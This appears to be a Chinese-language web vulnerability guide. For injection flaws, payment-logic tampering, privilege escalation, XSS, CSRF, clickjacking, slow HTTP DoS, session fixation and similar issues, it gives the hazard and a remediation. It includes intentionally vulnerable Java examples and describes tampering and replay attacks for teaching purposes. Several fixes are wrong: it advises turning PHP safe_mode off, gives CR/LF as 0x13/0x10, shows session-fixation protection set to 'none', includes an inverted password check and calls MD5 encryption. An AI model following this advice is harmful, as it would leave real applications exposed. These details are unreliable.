漏洞危害与修复– WEB

1
Author:Ka

##

SQL注入

漏洞危害:

SQL注入攻击是一种注入型攻击,归类于OWASP TOP10 - 2013的第一大类。SQL注入漏洞起因是由于开发人员创建动态数据库查询语句时拼接了来自客户端不可信的输入而导致的。SQL注入攻击能够读取数据库中的敏感数据,修改数据库(插入/更新/删除)数据,执行数据库管理员的操作(比如关闭DBMS),还能使用DBMS上存在的文件去覆盖数据库内容,在某些情况下还能执行操作系统的命令。该漏洞破坏了数据的完整性与机密性。

修复建议:

针对于SQL注入攻击,有以下几种方法:

关键防御方法:

  1. 预编译语法/参数化查询

使用预编译语法,可以使SQL语句和变量绑定,这样可以支持动态化查询。预编译语句是强制了开发首先定义SQL语句,然后在每个参数中传递请求体中的用户输入查询,这种编码的目的是把数据与代码分离。预编译语句确保了攻击者不会改变原有SQL语句的意图。

    • 这段示例是关于JAVA EE的预编译语句的使用:
    • 其他语言常见的预编译建议:
语言/平台 预编译方法名
JAVA EE PreparedStatement()
.NET SqlCommand(),OleDbCommand()
PHP bindParam()
Hibernate createQuery()
SQLite sqlite3_prepare()
  1. 存储过程

存储过程和预编译语法有着相同的安全性,不同的是存储过程是用SQL代码定义和存储在数据库中的,使用时被应用程序调用。值得注意的是,如果使用存储过程,那么开发者应该避免在存储过程中生成不安全的动态SQL查询语句。

§ 这段示例是关于JAVA EE的存储过程使用的使用,该存储过程已经定义在数据库中:

  1. 转义所有用户输入

这种方法是在执行SQL语句前,把用户输入做转义处理。然后这种方法我们不能保证它会阻止所有的SQL注入的攻击,这种方法是脆弱的。由于数据库往往支持多种编码方式,所以很容易导致混淆。因此我们建议只有那些老旧的系统,没有更多选择的情况下才使用该方法,使用这种技术需谨慎。对于新的应用程序,或者想降低甚至避免该风险的程序应该使用预编译语句/参数化查询/存储过程。

附加优化建议:

  1. 最小化数据库用户权限

为了把SQL注入漏洞带来的危险与损失降低到最小化,我们建议最小化数据库用户权限,避免让应用程序使用DBA或者具有admin权限类型的账户。只需分配满足需求的账户即可,比如账户只需要读的权限,那么就没必要分配其他权限。如果该账户只需要操作某个数据库,那么就没必要添加访问其他数据库的权限。

  1. 白名单

使用白名单可以检测到未授权输入在执行前SQL语句前。比如Price参数,应该设置成强类型,只接受正整数。这样可以提高了安全性,也提高了性能。

OS命令注入

漏洞危害:

系统提供命令执行类函数主要方便处理相关应用场景的功能.而当不合理的使用这类函数,同时调用的变量未考虑安全因素,就会执行恶意的命令调用,被攻击利用。应用中,因为是由程序拼凑命令行(包括参数)来实现调用外部程序的,因此用户也能够通过小计量来突破限制,实现调用其他外部程序。OS命令注入和SQL注入差不多,只不过SQL注入是针对数据库的,而OS命令注入是针对操作系统的。OS命令注入即能够在服务器上执行任意命令,危害性极大。

修复建议

1、 系统开发中,尽量避免使用exec()、system()、passthru()、popen()、backtickoperator、shell_exec() 等函数。

2、 因其危险性,执行命令的参数不要使用外部获取,防止用户构造。

3、 设置 PHP.ini 配置文件中safe_mode = Off 选项。默认为( off );

4、 使用自定义函数或函数库来替代外部命令的功能

5、 使用escapeshellarg函数来处理命令参数

6、 使用safe_mode_exec_dir指定可执行文件的路径

XPath注入

漏洞危害:

当服务端以xml文件作为数据载体,攻击者可通过提交带有xpath查询语句、特殊的xml数据等方式达到控制服务器端的执行逻辑、伪造数据等目的。 攻击者利用XPath解析器的松散输入和容错特性,能够在URL、表单或其它信息上附带恶意的XPath查询代码,以获得权限信息的访问权并更改这些信息。XPath 注入攻击是针对Web服务应用新的攻击方法,它允许攻击者在事先不知道XPath查询相关知识的情况下,通过XPath查询得到一个XML文档的完整内容。当XML数据被用作账户验证时,攻击者还可以提升他的权限。

修复建议:

1、 数据提交到服务器上端,在服务端正式处理这批数据之前,对提交数据的合法性进行验证。

2、 检查提交的数据是否包含特殊字符,对特殊字符进行编码转换或替换、删除敏感字符或字符串。

3、 对于系统出现的错误信息,以IE错误编码信息替换,屏蔽系统本身的出错信息。

4、 参数化XPath查询,将需要构建的XPath查询表达式,以变量的形式表示,变量不是可以执行的脚本。

5、 通过MD5、SSL等加密算法,对于数据敏感信息和在数据传输过程中加密,即使某些非法用户通过非法手法获取数据包,看到的也是加密后的信息。

以上:限制提交非法字符,对输入内容严格检查过滤,参数化XPath查询的变量。

LDAP注入

漏洞危害:

LDAP轻量级目录协议,是一种在线目录访问协议,主要用于资源查询,是X.500的一种简便的实现。它是一种树结构,查询效率很高,插入效率稍低。目录和数据库有很多相似之处,都用于存放数据,可以查询插入,目录可以存放各种数据。也正是由于目录和数据库有很多相似,也导致了LDAP注入攻击和SQL 注入攻击相似。一个安全的Web应用在构造和将查询发送给服务器前应该净化用户传入的参数。在有漏洞的环境中,这些参数没有得到合适的过滤,攻击者利用用户引入的参数生成一些恶意的LDAP查询,这些恶意代码会对系统造成严重威胁。

修复建议:

1、 在应用层中过滤圆括号、星号、逻辑操作符、关系运操作符等敏感字符。

2、 构造LDAP搜索过滤器的值在发送给LDAP服务器查询之前都要用应用层有效地值列表来核对,相关数据可以使用正则表达式替换掉。

Json注入

漏洞危害:

Json注入一般出现在下列各种情况。

  1. 数据从一个不可信赖的数据源进入程序。

  2. 将数据写入到 JSON 流。

应用程序通常使用 JSON 来存储数据或发送消息。用于存储数据时,JSON 通常会像缓存数据那样处理,而且可能会包含敏感信息。用于发送消息时,JSON 通常与 RESTful 服务一起使用,并且可以用于传输敏感信息,例如身份验证凭据。

如果应用程序利用未经验证的输入构造 JSON,则可以更改 JSON 文档和消息的语义。在相对理想的情况下,攻击者可能会插入无关的元素,导致应用程序在解析 JSON 文档或请求时抛出异常。在更为严重的情况下,例如涉及Json注入,攻击者可能会插入无关的元素,从而允许对 JSON 文档或请求中对业务非常关键的值执行可预见操作。还有一些情况,Json注入可以导致 XSS等。

修复建议:

将用户提供的数据写入 JSON 时,应该遵守以下准则:

  1. 不要创建名称来自用户输入的 JSON 属性。

  2. 确保使用安全的序列化函数(能够以单引号或双引号分隔不可信赖的数据,并且避免任何特殊字符)执行对 JSON 的所有序列化操作。

框架注入

漏洞危害:

攻击者有可能注入含有恶意内容的 frames 或 iframe 标记。如果用户不够谨慎,就有可能浏览该标记,却意识不到自己会离开原始站点而进入恶意的站点。之后,攻击者便可以诱导用户再次登录,然后获取其登录凭证。

修复建议:

对用户输入的数据在服务器端进行XSS安全检查,过滤单双引号(” 、‘)、尖括号(<>)、反斜杠

(/)。过滤javascript函数、html事件函数等。

CRLF注入

漏洞危害:

在一类web应用中,会将用户提交的数据作为HTTP响应头的一部分,如提交的数据保存在COOKIE

或者其他字段中。由于HTTP头使用回车换行( )作为不同关键字的分隔符,如果web应用程序没有充分过滤用户输入的信息,而是直接将用户输入信息保存在HTTP响应头返回给客户端。就有可能将回车换行符

( )嵌入到HTTP响应头中,从而导致改变HTTP头,影响客户端浏览器对HTTP响应数据的处理。如修改

Content-Length字段,改变页面内容。该漏洞可用于跨站,挂马。

修复建议:

过滤用户输入信息中的CR(0x13)和LF(0x10)。

##

订单支付逻辑漏洞

漏洞危害:

攻击者通过修改交易金额、交易数量等从而利用漏洞,如Burp修改交易金额、使交易数量为负数或无限大等。

* 在支付时直接修改数据包中的支付金额,实现小金额购买大金额商品

* 修改购买数量,使之为负数,可购买负数量商品,从而扣除负积分,即增加积分, 或使购买数量无限大,无限大时则程序可能处理出错,从而实现0金额支付

* 请求重放,在购买成功后重放请求,可实现”一次购买对此收货”

修复建议:

支付大致流程分为6步:

1、 客户端将商品编号v_goodId、商品数量v_number、时间戳timestamp发送给电商服务器

2、 电商服务器向支付服务器请求一个key

3、 支付服务端返回给电商服务器一个key,电商服务器通过图示算法对key和v_goodId、v_number、timestamp生成签名

4、 电商服务器返回给客户端一段重定向的URL,包含订单总额v_amount、timestamp和sign

5、 客户端将v_amount、timestamp和sign发送给支付服务器,支付服务器通过v_amount、timestamp和第3步生成的key再次生成签名,与sign比对,以校验完整性

6、 返回支付结果

以上还有几点需要说明:

1、 时间戳timestamp用作防御重放攻击,支付服务器在收到支付请求时会比对是否超时,如果超时则请求失败

2、 电商服务器需对商品数量进行校验,必须为正整数

3、 总额由服务端通过商品编号和商品数量计算所得,而不用从客户端算得的总额

4、 sign=sha(message+salt)这一步要把salt放在message后面,防止哈希长度扩展攻击

密码重置(验证码爆破)

漏洞危害:

恶意利用可以重置任意用户密码,威胁到用户的个人信息安全。

修复建议:

此漏洞是由于验证码处未做限制,导致可爆破出有效验证码。解决方法一般是在服务器端对验证码请求做限制,如

1)建议在服务器端限制单个 IP 在单位时间内的请求次数,一旦用户请求次数(包括失败请求次数)超出设定的阈值,则暂停对该 IP一段时间的请求;若情节特别严重,可以将 IP 加入黑名单,禁止该 IP 的访问请求。该措施能限制一个 IP 地址的大量请求,避免攻击者通过同一个 IP 对大量用户进行攻击,增加了攻击难度,保障了业务的正常开展。该阈值设定可依据业务的不同执行设定,一般情况下建议不超过 200 个/分钟。

2)设置验证码有效时间

3)验证码验证成功后作废

条件竞争漏洞

漏洞危害:

开发者在进行代码开发时常常倾向于认为代码会以线性的方式执行,而且他们忽视了并行服务器会并发执行多个线程,这就会导致意想不到的结果。

线程同步机制确保两个及以上的并发进程或线程不同时执行某些特定的程序段,也被称之为临界区(critical section),如果没有应用好同步技术则会发生“竞争条件”问题。在我理解就是两只线程同时去抢一个丢出去的资源,不知道到底哪只能抢到,此处便形成了竞争。

修复建议:

为了保证数据的完事性和一致性,数据库系统采用锁来实现事务的隔离性。

修改反回包逻辑漏洞

漏洞危害:

由于对登录的账号及口令校验存在逻辑缺陷,或再次使用服务器端返回的相关参数作为最终登录凭证,导致可绕过登录限制,如服务器返回一个flag参数作为登录是否成功的标准,但是由于代码最后登录是否成功是通过获取这个flag参数来作为最终的验证,导致攻击者通过修改flag参数即可绕过登录的限制!

修复建议

修改验证逻辑,如是否登录成功服务器端返回一个参数,但是到此就是最终验证,不需要再对返回的参数进行使用并作为登录是否成功的最终判断依据!

###

撞库

漏洞危害:

恶意利用可获取大量用户名密码信息,结合社工库将造成巨大危害。

修复建议:

撞库漏洞是非常普遍的安全漏洞,结合社工库撞库可获取大量用户名密码。解决方法一般有两种:

1)在登录处加入安全的图片验证码,增加撞库的难度。 安全的图片验证码必须满足:

生成过程安全:图片验证码必须在服务器端进行产生与校验;

使用过程安全:单次有效,且以用户的验证请求为准;

验证码自身安全:不易被识别工具识别,能有效防止暴力破解。

2)在服务器端进行登录限制,针对同一ip的登陆验证加以限制。使用了图片验证码后,能防止攻击者有效进行“动态短信”功能的自动化调用;但若攻击者忽略图片验证码验证错误的情况,大量执行请求会给服务器带来额外负担,影响业务使用。建议在服务器端限制单个 IP 在单位时间内的请求次数,一旦用户请求次数(包括失败请求次数)超出设定的阈值,则暂停对该 IP一段时间的请求;若情节特别严重,可以将 IP 加入黑名单,禁止该 IP 的访问请求。该措施能限制一个 IP 地址的大量请求,避免攻击者通过同一个 IP 对大量用户进行攻击,增加了攻击难度,保障了业务的正常开展。该阈值设定可依据业务的不同执行设定,一般情况下建议不超过 200 个/分钟。

短信轰炸

漏洞危害:

恶意利用将严重消耗服务器及带宽资源

修复建议:

短信轰炸形成的原因是因为非授权的动态短信获取,而由于业务的需要,在使用动态短信业务前系统并不能建立业务关联。因此,在未建立业务关联的情况下,需要进一步严格限制保证业务使用的安全性。针对短信炸弹问题,建议综合采用:增加图片验证码、单IP 请求次数限制、限制发送时长限制 3 个措施, 防护“动态短信获取” 功能与业务接口。

措施一:使用安全的图片验证码

恶意攻击者采用自动化工具,调用“动态短信获取”接口进行动态短信发送,

究其原因是攻击者可以自动对接口进行大量调用。采用图片验证码可有效防止工具自动化调用,即当用户进行“获取动态短信”操作前,弹出图片验证码,要求用户输入验证码后,服务器端再发送动态短信到用户手机上,该方法可有效解决被利用实施炸弹攻击的问题。

安全的图片验证码必须满足:

生成过程安全:图片验证码必须在服务器端进行产生与校验;

使用过程安全:单次有效,且以用户的验证请求为准;

验证码自身安全:不易被识别工具识别,能有效防止暴力破解。

措施二:单 IP 的请求次数限定

使用了图片验证码后,能防止攻击者有效进行“动态短信”功能的自动化调

用;但若攻击者忽略图片验证码验证错误的情况,大量执行请求会给服务器带来

额外负担,影响业务使用。建议在服务器端限制单个 IP 在单位时间内的请求次

数,一旦用户请求次数(包括失败请求次数)超出设定的阈值,则暂停对该 IP

一段时间的请求;若情节特别严重,可以将 IP 加入黑名单,禁止该 IP 的访问请求。该措施能限制一个 IP 地址的大量请求,避免攻击者通过同一个 IP 对大量用户进行攻击,增加了攻击难度,保障了业务的正常开展。

该阈值设定可依据业务的不同执行设定,一般情况下建议不超过 200 个/分

钟。

措施三:单用户动态短信请求间隔时长限制

为进一步优化业务正常使用,建议采用限制重复发送动态短信的间隔时长,

即当单个用户请求发送一次动态短信之后,服务器端锁定如: 30 秒后,才能进

行第二次动态短信请求。该功能可进一步保障用户体验,并避免包含手工攻击恶

意发送垃圾验证短信。

邮件轰炸

漏洞危害:

恶意利用将严重消耗服务器及带宽资源,并对邮箱用户造成困扰。

修复建议:

此漏洞是非常普遍的安全问题,通常是由于服务端对验证码发送未做限制或限制不完善导致。解决方法一般是:

措施一:使用安全的图片验证码

采用图片验证码可有效防止工具自动化调用,即当用户进行 “获取动态短信”操作前,弹出图片验证码,要求用户输入验证码后,服务器端再发送动态短信到用户手机上,该方法可有效解决被利用实施炸弹攻击的问题。

安全的图片验证码必须满足:

生成过程安全:图片验证码必须在服务器端进行产生与校验;

使用过程安全:单次有效,且以用户的验证请求为准;

验证码自身安全:不易被识别工具识别,能有效防止暴力破解。

措施二:单 IP 的请求次数限定

建议在服务器端限制单个 IP 在单位时间内的请求次

数,一旦用户请求次数(包括失败请求次数)超出设定的阈值,则暂停对该 IP

一段时间的请求;若情节特别严重,可以将 IP 加入黑名单,禁止该 IP 的访问请求。该措施能限制一个 IP 地址的大量请求,避免攻击者通过同一个 IP 对大量用户进行攻击,增加了攻击难度,保障了业务的正常开展。

该阈值设定可依据业务的不同执行设定,一般情况下建议不超过 200 个/分

钟。

密码重置(爆破验证码)

漏洞危害:

恶意利用可导致任意用户密码重置,严重影响其他用户正常使用

修复建议:

此漏洞是由于验证码处未做限制,导致可爆破出有效验证码。解决方法一般有两种:

1)在登录处加入安全的图片验证码,增加撞库的难度。 安全的图片验证码必须满足:

生成过程安全:图片验证码必须在服务器端进行产生与校验;

使用过程安全:单次有效,且以用户的验证请求为准;

验证码自身安全:不易被识别工具识别,能有效防止暴力破解。

2)在服务器端进行登录限制,针对同一ip的登陆验证加以限制。使用了图片验证码后,能防止攻击者有效进行“动态短信”功能的自动化调用;但若攻击者忽略图片验证码验证错误的情况,大量执行请求会给服务器带来额外负担,影响业务使用。建议在服务器端限制单个 IP 在单位时间内的请求次数,一旦用户请求次数(包括失败请求次数)超出设定的阈值,则暂停对该 IP一段时间的请求;若情节特别严重,可以将 IP 加入黑名单,禁止该 IP 的访问请求。该措施能限制一个 IP 地址的大量请求,避免攻击者通过同一个 IP 对大量用户进行攻击,增加了攻击难度,保障了业务的正常开展。该阈值设定可依据业务的不同执行设定,一般情况下建议不超过 200 个/分钟。交易金额篡改

垂直越权

漏洞危害:

垂直越权分为向上垂直越权与向下垂直越权。向上垂直越权及普通用户即可获得管理员权限,由于web应用程序没有做权限控制,或仅仅在菜单上做了权限控制,导致的恶意用户只要猜测其他管理页面的URL,就可以访问或控制其他角色拥有的数据或页面,达到权限提升目的;向下水平越权即为管理员拥有用户权限,可对用户平台进行操作,也就是说一旦存在向下水平越权,全部用户信息都将沦陷。

代码案例:

1
2
3
4
5
6
7
<tr><td><ahref="/user.jsp">管理个人信息</a></td></tr>

<%if(power.indexOf("administrators")>-1){%>

<tr><td><ahref="/userlist.jsp">管理所有用户</a></td></tr>

<%}%

代码仅仅对用户跳转到那个页面进行了判断,并没有对用户跳转后的页面判断此用户是否有权限登陆此页面

修复建议:

在配置权限时,应当使用“最小权限原则”,并使用”默认拒绝“的策略,只对有需要的主题单独配置”允许”的策略;如果管理员与普通用户表是同一张数据表,就必须要存在权限证明字段,在打开管理页面时,首先判断当前用户是否拥有该页面的权限,如果没有权限,就判定为越权攻击,同时记录安全日志.同时建议使用成熟的权限框架处理问题如:spring security

代码案例

例如:Spring Security使用配置文件对URL的用户进行设定:

1
2
3
4
5
6
7
8
9
10
11
<sec:http>

<sec:intercept-url pattern="/manager_portal.do**"access="MANAGER_USER"/>

<sec:intercept-url pattern="/**"access="NORMAL_USER"/>

<sec:form-login/>

<sec:logout/>

</sec:http>

或者做一个Filter,当用户登录后,就把此用户的信息放到Session中,当访问设定路径时,通过函数判断,是否有权访问次路径。Filter配置如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<filter>

<filter-name>checkadmin</filter-name>

<filter-class>com.xxser.filter.checkadmin</filter-class>

</filter>

<filter-mapping>

<filter-name>checkadmin</filter-name>

<url-pattern>/admin/*</url-pattern>

<filter-mapping>

水平越权

漏洞危害:

web应用程序接受到用户请求,没有判断数据所属人;或判断数据所属人,从用户提交到request参数中,并获取了数据所属人的参数,修改参数内容导致恶意攻击者,可对其他用户账户的信息进行非法操作,例如查看,删除,修改,增加他人账户的私人信息。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
代码案例:

public String execute(){

int id =Integer.parseInt(request.getParameter("userId"));

String password = request.getParameter("password");

String password2 = request.getParameter("password2");

if(!("".equals(password)||"".equals(password2))){

return ERROR;

}

if(!password.equals(password2)){

return ERROR;

}

User u = new UserBiz().findUserById(id); //根据ID来获取User具体对象

u.setPassword(password);

boolean flag = new UserBiz().saveOrUpate(u);//更新对象

if(flag){

return SUCCESS;

}else {

return ERROR;

}

}

修复建议:

从用户的加密认证cookie中,获取当前用户的id,并且需要在执行的SQL语句中,加入当前用户id作为条件语句。由于是web应用控制的加密算法,所以恶意用户无法修改加密信息,验证一切来自客户端的参数,重点是和权限相关的参数,比如用户ID或者角色权限ID等。sessionID 和认证的token做绑定,放在服务器的会话里,不发送给客户端。对于用户登录后涉及用户唯一信息的请求,每次都要验证检查所有权,敏感信息页面加随机数的参数,防止浏览器缓存内容。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
代码案例:

public String execute(){

int id =Integer.parseInt(request.getParameter("userId"));

String oldpass = request.getParameter("oldpass");

User u = new UserBiz().findUserById(id); //根据ID查找用户

if(!(u.getPassword().equals(oldpass))){ //比较原密码是否相同

return "-1";

}

String password = request.getParameter("password");

String password2 = request.getParameter("password2");

if(!("".equals(password)||"".equals(password2))){

return "0";

}

if(!password.equals(password2)){

return "0";

}

u.setPassword(password);

boolean flag = new UserBiz().saveOrUpate(u); //保存或者更新User对象

if(flag){

return SUCCESS;

}else {

return ERROR;

}

}

XSS

漏洞危害:

跨点脚本攻击(XSS)是一种注入型漏洞,插入恶意脚本到那些受信任的网站中的HTML页面内。服务器端如果没有在适当的验证和转义的情况下,就将它发送给一个网页浏览器,这样就会产生跨站点脚本攻击。XSS允许攻击者在受害者的浏览器上执行脚本,从而劫持用户会话,钓鱼,控制用户浏览器,或者将用户转向至恶意网站,甚至蠕虫攻击等。

XSS通常细分为三种分类:

  • 反射型跨站脚本攻击

    • 攻击者会通过社会工程学手段,发送一个URL连接给用户打开,在用户打开页面的同时,浏览器会执行页面中嵌入的恶意脚本。
  • 存储型跨站脚本攻击

    • 攻击者利用web应用程序提供的录入或修改数据功能,将数据存储到服务器或用户cookie中,当其他用户浏览展示该数据的页面时,浏览器会执行页面中嵌入的恶意脚本。所有浏览者都会受到攻击。
  • DOM跨站脚本攻击

    • 由于html页面中,定义了一段JS,根据用户的输入,显示一段html代码,攻击者可以在输入时,插入一段恶意脚本,最终展示时,会执行恶意脚本。
    • DOM跨站和以上两个跨站攻击的差别是,DOM跨站是纯页面脚本的输出,只有规范使用JAVASCRIPT,才可以防御。

修复建议:

以下列出的修复建议是针对于不同的场景:

HTML/XML页面输出规范:

  1. 在HTML标签中显示“用户可控数据”前,应该进行html escape转义。下表为需要转义的字符:
元字符 转义后的字符
& &
< <
> >
"
'
/ /

Java转义方法示例:

.Net转义方法示例:

  1. 在HTML通用属性中显示“用户可控数据”前,需防止用户数据逃溢出HTML的属性边界。对小于256的ASCII值,需要做html实体编码,格式为&#xHH;
  2. 在JavaScript内容中输出“用户可控数据”,需要做JavaScript Escape转义。

Java示例代码:

.Net示例代码:

需要转义的字符包括:

元字符 转义后的字符
/ \/
\’
\”
\ \
  1. 在CSS style内容中输出的“用户可控数据”,需要做CSS Escape转义和严格验证。把除了字母、数字外的所有字符都需要被编码成十六进制,形式为“\uHH”。
  2. 在URL中输出的“用户可控数据”,需要做URL安全编码。可使用URLEncode,将字符转换成“%HH”的格式。

Java示例代码:

.Net示例代码:

  1. 在XML中输出“用户可控数据”时,对数据部分做HTML转义。

示例代码:

  1. JSON输出需要对变量内容中的“用户可控数据”单独做HTMLEscape,在对变量做一次JavascriptEscape。

Java示例代码:

.Net示例代码:

CSRF

漏洞危害:

CSRF(Cross-Site Request Forgery,跨站点伪造请求),长期活跃在OWASP(提供有关互联网应用程序安全信息的权威性、非盈利组织) TOP10排行榜上,是常见的一种攻击手法。其攻击本质可以用一句话概括:攻击者B在受害者A不知情的情况下,利用其合法身份,向服务器C发送恶意请求,达到其非法目的。这种非法目的一般有以你名义发送邮件,发消息,盗取你的账号,甚至于购买商品,虚拟货币转账等,造成的问题包括:个人隐私泄露以及财产安全。恶意利用将导致用户执行用户未知的危险操作。

修复建议:

防止CSRF攻击有多种手段,一种是判断发起请求的源站是否是可信站点,另一种就是在请求中加入第三方无法预测到的数值,这两种方式都可以通过在服务器写一个拦截器去实现。

1.验证HTTPReferer字段

在HTTP头中有个字段为Referer,它记录了该HTTP请求的源地址。
Referer值由浏览器提供,我们可以通过在服务器侧判断Referer值是否为可信的来判断CSRF攻击。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// 从 HTTP 头中取得 Referer 值

Stringreferer=request.getHeader("Referer");

// 判断 Referer 是否以 bank.example 开头

if((referer!=null)&&(referer.trim().startsWith("bank.example"))){

chain.doFilter(request, response);

}else{

//如果不是则跳转到error页面或404

request.getRequestDispatcher("error.jsp").forward(request,response);

}

2.添加CSRFtoken验证

我们可以通过java.util.UUID生成随机token,再将token放入session中,每次请求时把token从session中拿出来与请求中的token进行比对。
通常接收token值有几种方式,其一是GET请求中我们可以将token值放入请求参数中,在POST请求中我们可以将它加入HTTP header或者form表单中。
如果两个token有差异那么就可能是恶意攻击。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
HttpServletRequest req =(HttpServletRequest)request; 

HttpSession s = req.getSession();

// 从 session 中得到 csrftoken 属性

String sToken =(String)s.getAttribute("csrftoken");

if(sToken == null){

// 产生新的 token 放入 session 中

sToken = UUID.randomUUID().toString();

s.setAttribute("csrftoken",sToken);

chain.doFilter(request, response);

} else{

// 从 HTTP 头中取得 csrftoken

String xhrToken =req.getHeader("csrftoken");

// 从请求参数中取得csrftoken

String pToken =req.getParameter("csrftoken");

if(sToken != null && xhrToken !=null && sToken.equals(xhrToken)){

chain.doFilter(request, response);

}else if(sToken != null && pToken!= null && sToken.equals(pToken)){

chain.doFilter(request, response);

}else{

request.getRequestDispatcher("error.jsp").forward(request,response);

}

}

弱口令

漏洞危害:

恶意利用将导致未授权用户使用高权限登录重要业务系统

修复建议:

弱口令是非常普遍的安全漏洞。主要是由于管理人员和员工日常运维管理的疏忽,可导致业务系统被他人非法进入。解决方法一般是强制配置密码复杂度,要求定期更换密码,并对相关人员进行培训。

##

CORS 漏洞

漏洞危害:

1、HTTP头只能说明请求来自一个特定的域,但是并不能保证这个事实。因为HTTP头可以被伪造。

2、第三方有可能被入侵

3、恶意跨域请求

即便页面只允许来自某个信任网站的请求,但是它也会收到大量来自其他域的跨域请求。.这些请求有时可能会被用于执行应用层面的DDOS攻击,并不应该被应用来处理。

4、内部信息泄漏

假定一个内部站点开启了CORS,如果内部网络的用户访问了恶意网站,恶意网站可以通过COR(跨域请求)来获取到内部站点的内容。

修复建议:

1、不信任未经身份验证的跨域请求,应该首先验证SessionID或者Cookie。

2、对于请求方来说验证接收的数据有效性,服务方仅暴露最少最必须的功能。

3、通过多种条件屏蔽掉非法的请求,例如HTTP头、参数等。

邮箱伪造SPF

漏洞危害:

恶意利用将导致伪造任意邮箱发送邮件,结合社工造成严重危害。

修复建议:

域名信息里spf如果没有设置,就可以伪造发件人,邮件服务器是根据域名信息里的spf来判断邮件的合法性。

下面命令查询spf记录

nslookup -type=txt

此漏洞是由于邮件服务器未添加SPF记录,导致可任意搭建邮件服务器。解决方法一般是在DNS中添加TXT记录,以增加SPF记录。

SPF 记录的语法

一条 SPF 记录定义了一个或者多个 mechanism,而 mechanism 则定义了哪些 IP 是允许的,哪些 IP 是拒绝的。

这些 mechanism 包括以下几类:

all | ip4 | ip6 | a | mx | ptr | exists |include

每个 mechanism 可以有四种前缀:

“+” Pass(通过)

“-“ Fail(拒绝)

“~” Soft Fail(软拒绝)

“?” Neutral(中立)

配置不当异常信息泄露

漏洞危害:

由于配置或代码问题导致的报错,会返回一些异常信息,从而暴露很多敏感的信息。检测到服务器返回状态如果为500或者404等错误页面时,请求响应内容的信息中包含服务器版本信息,攻击者可能通过获取该信息,根据该版本已公布的漏洞信息,进行针对性利用,增加了web应用被攻击的风险。

修复建议:

1、配置错误页面,让所有的错误都只显示友好信息,不显示任何与实际错误相关的信息。

2、隐藏服务器版本信息。

3、在WAF设置服务器信息泄漏防护。

网站使用HTTP(未使用https)

漏洞危害:

攻击者可利用中间人攻击获取连接当中的明文内容,对用户账号及敏感信息造成巨大威胁。

修复建议:

1、建议使用https,为浏览器和服务器之间的通信加密。

点击劫持漏洞

漏洞危害:

点击劫持(ClickJacking)是一种视觉上的欺骗手段。攻击者使用一个透明的、不可见的iframe,覆盖在一个网页上,然后诱使用户在该网页上进行操作,此时用户将在不知情的情况下点击透明的iframe页面。通过调整iframe页面的位置,可以诱使用户恰好点击在iframe页面的一些功能性按钮上。

HTTP 响应头信息中的X-Frame-Options,可以指示浏览器是否应该加载一个 iframe 中的页面。如果服务器响应头信息中没有X-Frame-Options,则该网站存在ClickJacking攻击风险。网站可以通过设置 X-

Frame-Options 阻止站点内的页面被其他页面嵌入从而防止点击劫持。

修复建议:

修改web服务器配置,添加X-Frame-Options响应头。赋值有如下三种:

1、DENY:不能被嵌入到任何iframe或者frame中。

2、SAMEORIGIN:页面只能被本站页面嵌入到iframe或者frame中。

3、ALLOW-FROMuri:只能被嵌入到指定域名的框架中。

例如:

apache可配置http.conf如下:

<IfModuleheaders_module>

Header always append X-Frame-Options”DENY”

缓慢的 http 拒绝服务攻击漏洞

漏洞危害:

缓慢的 http 拒绝服务攻击是一种专门针对于 Web 的应用层拒绝服务攻击,攻击者操纵网络上的肉鸡,对目标Web服务器进行海量http request攻击,直到服务器带宽被打满,造成了拒绝服务。

慢速HTTP拒绝服务攻击经过不断的演变和发展,主要有三种攻击类型,分别是Slow headers、Slow body、

Slow read。以Slowheaders为例,Web应用在处理HTTP请求之前都要先接收完所有的HTTP头部,因为 HTTP头部中包含了一些Web应用可能用到的重要的信息。攻击者利用这点,发起一个HTTP请求,一直不停的发送 HTTP 头部,消耗服务器的连接和内存资源。抓包数据可见,攻击客户端与服务器建立TCP 连接后,每40秒才向服务器发送一个HTTP头部,而Web服务器再没接收到2个连续的 时,会认为客户端没有发送完头部,而持续的等等客户端发送数据。如果恶意攻击者客户端持续建立这样的连接,那么服务器上可用的连接将一点一点被占满,从而导致拒绝服务。这种攻击类型称为慢速HTTP拒绝服务攻击。

修复建议:

建议使用mod_reqtimeout和mod_qos两个模块相互配合来防护。

1、 mod_reqtimeout用于控制每个连接上请求发送的速率。配置例如:

#请求头部分,设置超时时间初始为10秒,并在收到客户端发送的数据后,每接收到500字节数据就将超时时间延长1秒,但最长不超过40秒。可以防护slowloris型的慢速攻击。

RequestReadTimeoutheader=10-40,minrate=500

#请求正文部分,设置超时时间初始为10秒,并在收到客户端发送的数据后,每接收到500字节数据就将超时时间延长1秒,但最长不超过40秒。可以防护slow message body型的慢速攻击。

RequestReadTimeoutbody=10-40,minrate=500

需注意,对于HTTPS站点,需要把初始超时时间上调,比如调整到20秒。

2、 mod_qos用于控制并发连接数。配置例如:

# 当服务器并发连接数超过600时,关闭keepalive

QS_SrvMaxConnClose 600

# 限制每个源IP最大并发连接数为50

QS_SrvMaxConnPerIP 50

会话固定

漏洞危害:

会话劫持(Session hijacking),这是一种通过获取用户Session ID后,使用该Session ID登录目标账号的攻击方法,此时攻击者实际上是使用了目标账户的有效Session。会话劫持的第一步是取得一个合法的会话标识来伪装成合法用户,因此需要保证会话标识不被泄漏。

修复方案:

可以是在用户登录成功后重新创建一个session id,而不是用原来的那个id。在spring security中,默认就带了这个方案,有session-fixation-protection。

1
2
3
4
5
6
7
<http auto-config='true' session-fixation-protection="none">  

<intercept-url pattern="/admin.jsp" access="ROLE_ADMIN" />

<intercept-url pattern="/**" access="ROLE_USER" />

</http>

CSP未设置

漏洞危害:

CSP 的主要目标是减少和报告 XSS 攻击 ,XSS 攻击利用了浏览器对于从服务器所获取的内容的信任。恶意脚本在受害者的浏览器中得以运行,因为浏览器信任其内容来源,即使有的时候这些脚本并非来自于它本该来的地方。

